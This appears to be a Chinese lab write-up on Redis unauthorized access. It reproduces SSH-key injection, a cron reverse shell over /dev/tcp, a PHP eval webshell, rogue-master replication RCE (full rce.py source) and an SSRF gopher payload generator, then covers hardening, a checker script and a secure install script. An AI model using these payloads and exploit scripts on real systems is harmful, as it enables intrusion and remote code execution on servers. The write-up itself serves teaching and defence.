Redis安装 去http://download.redis.io/releases选择一个版本,建议4.0.8
1 2 3 4 5 6 7 8 9 cd /tmp wget http://download.redis.io/releases/redis-7.2.4.tar.gz tar -zvxf redis-7.2.4.tar.gz mv /tmp/redis-7.2.4 /usr/local/redis cd /usr/local/redis make make PREFIX=/usr/local/redis install ./bin/redis-server& ./redis.conf
Redis未授权访问 漏洞复现 一、漏洞描述
漏洞成因:
1.Redis 绑定在默认的 6379 端,且没有配置访问控制策略,直接暴露在公网。攻击者可以通过扫描获 取 Redis 访问端口,从而攻击者未经授权也可以访问 Redis。
2.未设置密码或者设置弱密码,允许远程登录访问 Redis 服务。攻击者可以直接或者通过密码爆破连 接到 Redis 并进行恶意操作。
Redis 使用 root 权限启动。使得攻击者在成功入侵 Redis 服务后,利用 Redis 对服务器开展进一步 的攻击。
二、漏洞影响版本
Redis 2.x–5.x
三、漏洞危害
(1) 未授权的访问可能导致敏感信息泄露,攻击者也可以恶意执行命令来清空所有数据和破坏服务
(2) 如果 Redis 以 root 权限启动,攻击者可以在/root/.ssh 写入 SSH 公钥文件,直接通过 SSH 登录 目标服务器
(3) 攻击者可通过 Redis 数据备份功写入可以指定目录的特性,写入后面程序,结合计划任务或者 web 服务 getshell,执行恶意代码和攻击。
当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。 攻击机:kali 192.168.198.134 目标靶机:centos 192.168.198.144
1.端口扫描 首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。 使用全端口扫描,探测存在的服务:
1 nmap -p- -sV 192.168.198.144
1 2 3 4 5 6 7 8 9 10 11 12 13 ┌──(kali㉿kali)-[~/password] └─$ nmap -p- -sV 192.168.198.144 Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-10 04:18 EDT Nmap scan report for 192.168.198.144 Host is up (0.00066s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 6379/tcp open redis Redis key-value store 2.8.17 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.72 seconds
2.密码爆破 使用hydra进行密码爆破
1 hydra 192.168 .198.144 redis -P /home/ kali/password/ top1000.txt -e ns -f -o redis.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ┌──(kali㉿kali)-[~/password ] └─$ hydra 192.168 .198 .144 redis -P /home/kali/password /top1000.txt -e ns -f -o redis.txt Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024 -05 -10 04 :36 :21 [DATA] max 16 tasks per 1 server , overall 16 tasks, 1001 login tries (l:1 /p:1001 ), ~63 tries per task [DATA] attacking redis://192.168 .198 .144 :6379 / [6379 ][redis] host: 192.168 .198 .144 password : foobared [STATUS] attack finished for 192.168 .198 .144 (valid pair found ) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024 -05 -10 04 :36 :23 ┌──(kali㉿kali)-[~/password ] └─$ cat redis.txt # Hydra v9.3 run at 2024 -05 -10 04 :36 :21 on 192.168 .198 .144 redis (hydra -P /home/kali/password /top1000.txt -e ns -f -o redis.txt 192.168 .198 .144 redis) [6379 ][redis] host: 192.168 .198 .144 password : foobared
得到密码foobared
3.远程连接redis 使用密码连接
1 redis -cli -h 192.168.198.144 -p 6379 -a foobared
连接成功
1 2 3 ┌──(kali㉿kali)-[~/password] └─$ redis-cli -h 192 .168 .198 .144 -p 6379 -a foobared 192.168.198.144:6379 >
4.漏洞利用 (1)写 ssh-keygen 公钥登录服务器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ssh-keygen -t rsa# 接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里: (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt cat /root/.ssh/key.txt | ./redis-cli -h 192.168.198.144 -p 6379 -a foobared -x set pub# 使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上 ./redis-cli -h 192.168.198.144 -p 6379 -a foobared# 设置工作目录为 /root/.ssh config set dir /root/.ssh# 创建文件 authorized_keys config set dbfilename "authorized_keys"# 保存信息入文件 save ssh -i /root/.ssh/id_rsa [email protected]
(2)利用 Redis 写入计划任务 该攻击利用数据库的特性,通过以下步骤实现反弹 Shell:
数据插入: 将计划任务的内容作为数据值(value),并使用任意键值(key)将其插入数据库中。
路径修改: 修改数据库的默认路径,使其指向目标主机上的计划任务路径。
数据写入文件: 将数据库中的数据写入目标主机上的计划任务文件。
通过以上步骤,攻击者可以在目标主机上成功写入一个计划任务,从而实现反弹 Shell。
在攻击机kali上开启监听:
然后连接服务端的Redis,写入反弹shell的计划任务:
1 2 3 4 5 ./ redis- cli - h 192.168 .198.144 - p 6379 - a foobaredset cron "\n \n * * * * * /bin/bash -i>&/dev/tcp/192.168.198.144/51888 0>&1\n \n " config set dir /var/ spool/ cron config set dbfilename root save
经过一分钟以后,在攻击机的nc中成功反弹shell回来。
(3)网站绝对路径写 webshell 对目标机器进行信息收集,看看端口是否开放了哪些
1 2 nmap -sV -p- -T4 192.168.198.144 dirb http://192.168.198.144:80
写入webshell
1 2 3 4 5 ./redis-cli -h 192.168.198.144 -p 6379 -a foobared//连接redis config set dir /var/www/html/ set xxx " <?php eval ($_GET ['cmd' ]);?> " config set dbfilename shell.php save
蚁剑成功连接
(4)利用Redis主从复制GetShell Redis服务器存在一些大型网站采用的漏洞,例如如果使用了一台Redis服务器,且该服务器存在漏洞,攻击者可以远程执行命令导致数据泄露或损坏。图中还提到,Redis服务器集群可以很好地解决该问题,例如主从服务器复制,即使主服务器被攻击,也可以从从服务器进行数据管理和恢复。
Redis主从复制(Redis Replication)是一种数据复制技术,通过在多台服务器实例之间自动进行数据同步,来实现数据冗余备份、故障恢复以及负载均衡等功能。其基本原理是使用一个主(master)服务器实例和多个从(slave)服务器实例,实现数据的单向复制。主服务器负责数据的写入和读取操作,而从服务器则只负责通过复制主服务器中的数据来实现数据备份,从而达到数据冗余和异地容灾的目的。一旦主服务器出现故障,可以手动或自动进行主从服务器切换,将某一从服务器升级为新的主服务器,从而确保数据服务的可用性。
因为漏洞存在于4.x、5.x版本中,Redis提供了主从模式。 故靶机更换为 centos 192.168.198.147 redis-4.0.8
1 ./redis-cli -h 192.168 .198.147 -p 6379 -a foobared
1 2 3 python3 redis-rce.py -r 192.168.198.147 -L 192.168.198.134 -f exp.so -a foobared# python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
选择r来获得一个反弹shell
成功反弹shell,反弹shell很容易导致Redis暴毙
(5)结合 SSRF 进行利用 SSRF 攻击的目标是从外网无法访问的内部系统,这里通过 SSRF 使用 dict 协议访问本地 Redis
构造 Redis 命令写入 webshell
1 2 3 4 5 6 flushall set 1 ' <?php eval ($_POST \[\\"f4ke\\" \]);?> ' config set dir /var/www/html config set dbfilename 5he1l.php save quit
根据 RESP 协议使用python 脚本redisSsrf.py,将上述命令转换为 gopher payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import urllib.parse protocol = "gopher://" ip = "127.0.0.1" port = "6379" shell = "\\n\\n<?php eval($_POST\[\\" f4ke\\"\]);?>\\n\\n" filename = "5he1l.php" path = "/var/www/html" passwd = "" cmd = ["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" , "quit" ]if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload = protocol + ip + ":" + port + "/_" def redis_format (arr ): CRLF = "\\r\\n" redis_arr = arr.split(" " ) cmd = "" cmd += "*" + str (len (redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str (len ((x.replace("${IFS}" ," " )))) + CRLF + x.replace("${IFS}" ," " ) cmd += CRLF return cmdif __name__=="__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) print ("http://192.168.198.147/ssrf.php?url=" +urllib.parse.quote(payload))
生成 payload
1 http ://192.168.198.147 /ssrf.php?url=gopher%3 A//127.0.0.1 %3 A6379/_%252 A1%250 D%250 A%25248 %250 D%250 Aflushall%250 D%250 A%252 A3%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%25241 %250 D%250 A1%250 D%250 A%252433 %250 D%250 A%250 A%250 A%253 C%253 Fphp%2520 eval%2528 %2524 _POST%255 B%2522 f4ke%2522 %255 D%2529 %253 B%253 F%253 E%250 A%250 A%250 D%250 A%252 A4%250 D%250 A%25246 %250 D%250 Aconfig%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%25243 %250 D%250 Adir%250 D%250 A%252413 %250 D%250 A/var/www/html%250 D%250 A%252 A4%250 D%250 A%25246 %250 D%250 Aconfig%250 D%250 A%25243 %250 D%250 Aset%250 D%250 A%252410 %250 D%250 Adbfilename%250 D%250 A%25249 %250 D%250 A5he1l.php%250 D%250 A%252 A1%250 D%250 A%25244 %250 D%250 Asave%250 D%250 A%252 A1%250 D%250 A%25244 %250 D%250 Aquit%250 D%250 A
使用curl 访问构造好的 url , 成功执行 Redis 命令写入 webshell
使用蚁剑尝试连接,连接成功
为了修复Redis未授权访问漏洞,可以采取以下措施:
设置密码认证 :在Redis配置文件中启用requirepass选项,并设置一个强密码。
限制访问 :修改bind配置,只允许信任的IP地址访问Redis服务。
使用安全通信 :通过SSL/TLS加密Redis客户端和服务器之间的通信。
监控和日志记录 :开启Redis的日志记录功能,监控可疑的访问和操作。
及时更新 :保持Redis版本更新,以修复已知的安全漏洞。
Redis 安全防护策略 1.配置访问控制策略 禁止监听在公网地址 修改 Redis 监听端口,在配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的bind 0.0.0.0改为bind 127.0.0.1或者内网 IP网段,重启 Redis以使配置生效。
1 2 # bind 192.168.1.100 10.0.0.1 bind 127.0.0.1 ::1
使用防火墙 在服务器上配置防火墙,仅允许特定规则的Redis连接请求通过。阻止其他不必要的连接请求,降低安全风险。
2.修改默认配置 更改默认端口 Redis 默认监听的端口为 6379,可以将配置文件的port项修改为其他非常用端口以隐藏服务
开启 Redis 安全认证并设置复杂的密码 Redis默认配置是无密码的,故容易导致Redis的未授权访问。在 redis.conf 配置文件中,修改 requirepass 选项开启密码认证并设置强密码。
开启保护模式 Redis在3.2版本新增了安全配置项protected-mode,开启后要求需要配置bind项并设置访问密码,关闭后允许远程连接。在 redis.conf 配置文件中,修改 protected-mode yes 选项开启保护模式,只允许有授权的主机远程访问。
3.禁止使用 Root 权限启动 创建单独的用户用于启动redis 使用root权限启动redis有较多风险。可以创建的一个Redis用户只用于运行 Redis 服务,而无法登录。同时redis用户没有其他目录与文件的访问权限,在未授权访问发生时,攻击者也难以通过Redis入侵服务器上的其他服务。
1 2 useradd -s /sbin/nolog -M redis sudo -u redis redis-server /<filepath>/redis.conf
设置文件的访问权限 Redis 密码可明文存储在配置文件中,因此需要禁止非相关用对于配置文件的访问,设置 Redis 配置文件权限为 600,只有文件所有者拥有读和写权限:
1 chmod 600 /<filepath>/redis.conf
4.监控和日志分析 定期检查Redis的访问日志,分析异常行为,及时发现和响应安全威胁。在配置文件logfile项指定日志文件保存位置:
1 logfile "/var/log/redis.log"
5.及时更新版本 检查Redis版本,及时应用安全补丁和更新,以修复已知的安全漏洞。
通过上述措施,可以有效地减少Redis未授权访问漏洞的风险,保护服务器和数据的安全。
防御策略验证实验 以下通过脚本(具体代码参见附录)对redis安全性进行检查:
运行脚本,可以发现,未经安全配置的redis无法通过大多数安全检查
配置防御策略 1.创建单独用户用于启动redis
1 2 3 4 # 创建的 Redis 用户只能用于运行 Redis 服务,而无法登录 useradd -s /sbin/nologin -m redis # 以redis用户启动redis sudo -u redis nohup ./bin/redis-server ./redis.conf &
2.修改配置文件,设置强密码,开启protected-mode,禁止或者重命名一些高危命令
1 2 3 4 5 6 7 8 9 10 11 12 13 # 编辑redis配置文件 # 设置强密码 requirepass strong_password# 开启保护模式 protected-mode yes# 1. 禁用高危命令: rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""# 2. 修改高危命令的名称: rename-command FLUSHALL "shuaxin" rename-command CONFIG "peizhi" rename-command EVAL "zhixing"
3.配置访问控制,仅允许本地连接
1 2 3 4 # 允许局域网连接 bind 192.168.168.*# 仅允许本地连接 bind 127.0.0.1 ::1
安全性验证
使用脚本进行安全检查:
由于使用了强密码,且配置了访问控制,故脚本连接时无法连接到redis。
1 python3 check_redis_security.py --host 192.168.198.147 --port 6379
为了模拟密码泄露的情况,这里允许远程连接,password参数输入密码继续进行测试
1 python3 check_redis_security.py --host 192.168.198.147 --port 6379 --password strong@pwd
成功通过所有安全检查
Redis安全安装与配置 根据Redis安全防护策略,编写自动化shell脚本安装Redis(具体代码参见附录)
优点:
1.设置密码,并检查密码强度
2.默认开启访问控制策略,仅允许本地连接
3.systemctl配置管理,便于维护与检查
4.快速的自动化安装
一键安装
通过安全检测(由于访问控制策略,攻击主机无法连接)
附录 安全性检测脚本 check_redis_security.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 import redisimport argparseimport subprocess exp_file = "/home/kali/workfeild/exp.so" lhost = "192.168.198.134" password_file = "/home/kali/password/top1000.txt" def check_redis_connection (host, port, password ): """ 尝试连接到Redis服务器,如果连接成功返回True,否则返回False。 """ try : client = redis.StrictRedis( host=host, port=port, password=password, decode_responses=True ) client.ping() return True except redis.exceptions.ConnectionError: return False except redis.exceptions.AuthenticationError: print ("[ERROR] Redis服务器需要身份验证" ) return False def extract_passwords (filename ): """ 从 Hydra 输出文件中提取密码。 """ passwords = [] with open (filename, "r" ) as f: for line in f: if "password:" in line: password = line.split("password:" )[1 ].strip() passwords.append(password) return passwordsdef brute_force_redis_password (host, password_file ): """ 使用Hydra进行Redis密码爆破。 """ if password_file is None : print ("[ERROR] 未提供Hydra密码文件路径" ) return command = [ "hydra" , host, "redis" , "-P" , password_file, "-e" , "ns" , "-f" , "-o" , "redis.txt" , ] try : subprocess.run(command, check=True ) with open ("redis.txt" , "r" ) as f: lines = f.readlines() if lines: pass else : print ("[INFO] Hydra密码破解未找到有效密码" ) except subprocess.CalledProcessError as e: print (f"[ERROR] 运行Hydra时出错: {e} " )def test_redis_rce (rhost, lhost, exp_file, auth ): """ 测试Redis是否易受RCE攻击。 """ command = f"python3 /home/kali/workfeild/rce.py -r {rhost} -L {lhost} -f {exp_file} -a {auth} " process = subprocess.run(command, shell=True , capture_output=True ) if "Exploit Success!" in process.stdout.decode(): print (f"[INFO] Redis RCE 攻击成功: {command} " ) return True else : print (f"[INFO] Redis RCE攻击失败: {command} " ) return False def write_cron_getshell (host="localhost" , port=6379 , password=None ): """ 利用 Redis 写入计划任务 """ try : client = redis.StrictRedis( host=host, port=port, password=password, decode_responses=True ) result = client.execute_command( "FLUSHALL" , ) result = client.set ("cron" , "\n\n* * * * 1 date" ) result = client.config_set("dir" , "/var/spool/cron" ) result = client.config_set("dbfilename" , "root" ) result = client.save() if result == True : print ("[INFO] Redis 写入计划任务命令已成功执行!" ) return True else : print ("[INFO] Redis 写入计划任务命令执行失败!" ) return False except Exception as e: print (f"Redis 配置失败:{e} " ) return False def write_sshkeygen (host="localhost" , port=6379 , password=None ): """ 利用 Redis 写入ssh-keygen """ try : client = redis.StrictRedis( host=host, port=port, password=password, decode_responses=True ) result = client.execute_command( "FLUSHALL" , ) result = client.set ("cron" , "\n\nid_rsa.pub\n\n" ) result = client.config_set("dir" , "/root/.ssh" ) result = client.config_set("dbfilename" , "test_authorized_keys" ) result = client.save() if result == True : print ("[INFO] Redis 成功写入ssh公钥!" ) return True else : print ("[INFO] Redis 写入ssh公钥失败!" ) return False except Exception as e: print (f"Redis 配置失败:{e} " ) return False def write_web_getshell (host="localhost" , port=6379 , password=None ): """ 利用 Redis 写入网站绝对路径 """ try : client = redis.StrictRedis( host=host, port=port, password=password, decode_responses=True ) result = client.execute_command( "FLUSHALL" , ) result = client.set ("cron" , "\n\nphp\n\n" ) result = client.config_set("dir" , "/var/www/html/" ) result = client.config_set("dbfilename" , "shell.php.test" ) result = client.save() if result == True : print ("[INFO] Redis 网站目录写入php漏洞脚本成功!" ) return True else : print ("[INFO] Redis 网站目录写入php漏洞脚本失败!" ) return False except Exception as e: print (f"Redis 配置失败:{e} " ) return False def check_redis_security ( host="localhost" , port=6379 , password=None , password_file=None ): """ 检查Redis服务器的安全性。 """ passwordlist = ["password" ] if not check_redis_connection(host, port, password): print ("[INFO] 无法连接到Redis服务器,尝试使用Hydra进行暴力破解" ) brute_force_redis_password(host, password_file) passwordlist = extract_passwords("/home/kali/workfeild/redis.txt" ) if passwordlist != []: print ("[INFO] Hydra密码爆破成功" ) password = passwordlist[-1 ] print (f"破解的密码: {password} " ) else : print ("[INFO] Hydra密码爆破失败" ) return try : if password is None and passwordlist == []: print ( "[INFO] 设置了密码,尝试使用Hydra进行暴力破解失败,若需要进一步测试可手动输入密码" ) return elif password is None : print ("[FATAL] 未设置密码" ) client = redis.StrictRedis( host=host, port=port, password=password, decode_responses=True ) print ("[INFO] 测试Redis服务器是否可以写入ssh公钥" ) if write_sshkeygen(host, port, password): print ("[FATAL] 通过Redis成功篡改ssh公钥" ) else : print ("[DONE] 无法通过Redis篡改ssh公钥" ) print ("[INFO] 测试Redis服务器是否可以写入php漏洞脚本getshell" ) if write_web_getshell(host, port, password): print ("[FATAL] 通过Redis写入php漏洞脚本getshell" ) else : print ("[DONE] 无法通过Redis写入php漏洞脚本getshell" ) print ("[INFO] 测试Redis服务器是否可以写入cron漏洞脚本" ) if write_cron_getshell(host, port, password): print ("[FATAL] 通过Redis服务器写入一个计划任务反弹shell" ) else : print ("[DONE] 无法通过Redis服务器写入计划任务反弹shell" ) print ("[INFO] 测试Redis服务器是否可以利用Redis主从复制GetShell" ) if test_redis_rce(host, lhost, exp_file, password): print ("[FATAL] 成功利用Redis主从复制GetShell" ) else : print ("[DONE] 无法利用Redis主从复制GetShell" ) except redis.exceptions.ResponseError as e: print (f"[ERROR] Redis响应错误: {e} " )if __name__ == "__main__" : parser = argparse.ArgumentParser(description="检查Redis的安全性" ) parser.add_argument("--host" , type =str , default="localhost" , help ="Redis服务器地址" ) parser.add_argument("--port" , type =int , default=6379 , help ="Redis服务器端口" ) parser.add_argument("--password" , type =str , help ="Redis服务器密码" ) args = parser.parse_args() check_redis_security( host=args.host, port=args.port, password=args.password, password_file=password_file, )
rce.py
基于GitHub开源代码修改https://github.com/n0b0dyCN/redis-rogue-server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 import socketimport osimport sysimport refrom time import sleep CLRF = "\r\n" def mk_cmd_arr (arr ): cmd = "" cmd += "*" + str (len (arr)) for arg in arr: cmd += CLRF + "$" + str (len (arg)) cmd += CLRF + arg cmd += "\r\n" return cmddef mk_cmd (raw_cmd ): return mk_cmd_arr(raw_cmd.split(" " ))def din (sock, cnt ): msg = sock.recv(cnt) return msg.decode()def dout (sock, msg ): if type (msg) != bytes : msg = msg.encode() sock.send(msg)def decode_shell_result (s ): return "\n" .join(s.split("\r\n" )[1 :-1 ])class Remote : def __init__ (self, rhost, rport ): self._host = rhost self._port = rport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.connect((self._host, self._port)) def send (self, msg ): dout(self._sock, msg) def recv (self, cnt=65535 ): return din(self._sock, cnt) def do (self, cmd ): self.send(mk_cmd(cmd)) buf = self.recv() return buf def close (self ): self._sock.close() def shell_cmd (self, cmd ): self.send(mk_cmd_arr(['system.exec' , "{}" .format (cmd)])) buf = self.recv() return buf def reverse_shell (self, addr, port ): self.send(mk_cmd("system.rev {} {}" .format (addr, port)))class RogueServer : def __init__ (self, lhost, lport, remote, file ): self._host = lhost self._port = lport self._remote = remote self._file = file self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind(('0.0.0.0' , self._port)) self._sock.settimeout(15 ) self._sock.listen(10 ) def handle (self, data ): resp = "" phase = 0 if data.find("PING" ) > -1 : resp = "+PONG" + CLRF phase = 1 elif data.find("REPLCONF" ) > -1 : resp = "+OK" + CLRF phase = 2 elif data.find("AUTH" ) > -1 : resp = "+OK" + CLRF phase = 3 elif data.find("PSYNC" ) > -1 or data.find("SYNC" ) > -1 : resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF resp += "$" + str (len (payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 4 return resp, phase def close (self ): self._sock.close() def exp (self ): try : cli, addr = self._sock.accept() while True : data = din(cli, 1024 ) if len (data) == 0 : break resp, phase = self.handle(data) dout(cli, resp) if phase == 4 : break except Exception as e: return False except KeyboardInterrupt: return False return True def cleanup (remote, expfile ): remote.do("CONFIG SET dbfilename dump.rdb" ) remote.shell_cmd("rm ./{}" .format (expfile)) remote.do("MODULE UNLOAD system" ) remote.close()def exploit_redis (rhost, rport, lhost, lport, exp_file, auth=None ): global payload expfile = os.path.basename(exp_file) payload = open (exp_file, "rb" ).read() try : remote = Remote(rhost, rport) if auth: check = remote.do("AUTH {}" .format (auth)) if "invalid password" in check: return False else : info = remote.do("INFO" ) if "NOAUTH" in info: return False remote.do("SLAVEOF {} {}" .format (lhost, lport)) remote.do("CONFIG SET dbfilename {}" .format (expfile)) sleep(2 ) rogue = RogueServer(lhost, lport, remote, expfile) if rogue.exp(): sleep(2 ) remote.do("MODULE LOAD ./{}" .format (expfile)) remote.do("SLAVEOF NO ONE" ) rogue.close() cleanup(remote, expfile) return True else : return False except Exception: return False
安装脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 # !/bin/bash # 检查是否为root用户 if [ "$(id -u)" -eq 0 ]; then # 提示用户输入要创建的 Redis 用户名 read -rp "请输入要创建的 Redis 用户名:" redis_user # 密码验证循环 while true; do # 使用 getpass 获取密码,避免在命令行显示 read -s -p "请设置 Redis 密码认证(至少8个字符,包含字母、数字和特殊字符):" redis_password # 密码强度验证 if [[ $(echo "$redis_password" | grep -E '.*[a-z].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[A-Z].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[0-9].*' | wc -l) -eq 1 ]] && [[ $(echo "$redis_password" | grep -E '.*[!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?].*' | wc -l) -eq 1 ]] && [[ ${#redis_password} -ge 8 ]]; then break else echo "密码强度不足,请重新输入。" fi done# 切换到临时目录 cd /tmp || exit# 下载 Redis 压缩包 echo "正在下载 Redis 压缩包..." wget -nv http://download.redis.io/releases/redis-7.2.4.tar.gz# 解压 Redis 压缩包 echo "正在解压 Redis 压缩包..." tar -zvxf redis-7.2.4.tar.gz# 移动 Redis 文件夹到 /usr/local echo "正在移动 Redis 文件夹到 /usr/local..." mv /tmp/redis-7.2.4 /usr/local/redis# 创建 Redis 用户 echo "正在创建 Redis 用户..." useradd -s /sbin/nologin -M "$redis_user"# 设置 Redis 文件夹权限,确保 Redis 用户对文件夹有读写权限 chown -R "$redis_user:$redis_user" /usr/local/redis# 复制 Redis 配置文件并设置密码认证 echo "正在配置 Redis 密码认证..." cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup sed -i "s/^# requirepass foobared$/requirepass $redis_password/" /usr/local/redis/redis.conf# 使用 systemd 管理 Redis 服务 echo "正在配置 Redis 服务..."# 创建 systemd 服务文件 cat > /etc/systemd/system/redis.service <<EOF [Unit] Description=Redis Server After=network.target [Service] User=$redis_user Group=$redis_user WorkingDirectory=/usr/local/redis ExecStart=/usr/local/redis/src/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -HUP ${MAINPID} ExecStop=/bin/kill -TERM ${MAINPID} [Install] WantedBy=multi-user.target EOF # 启动 Redis 服务 echo "正在启动 Redis 服务..." systemctl daemon-reload && systemctl enable redis && systemctl start redis echo "Redis 服务已启动。" else echo "当前用户非root用户,无法创建 Redis 用户和启动服务。请使用root权限运行该脚本。" fi
参考文章: https://hellogithub.com/report/db-engines/
https://blog.csdn.net/zkaqlaoniao/article/details/134441323
https://blog.51cto.com/u_13540373/4861152
https://xie.infoq.cn/article/f3dc94425d5b586d34e1beae3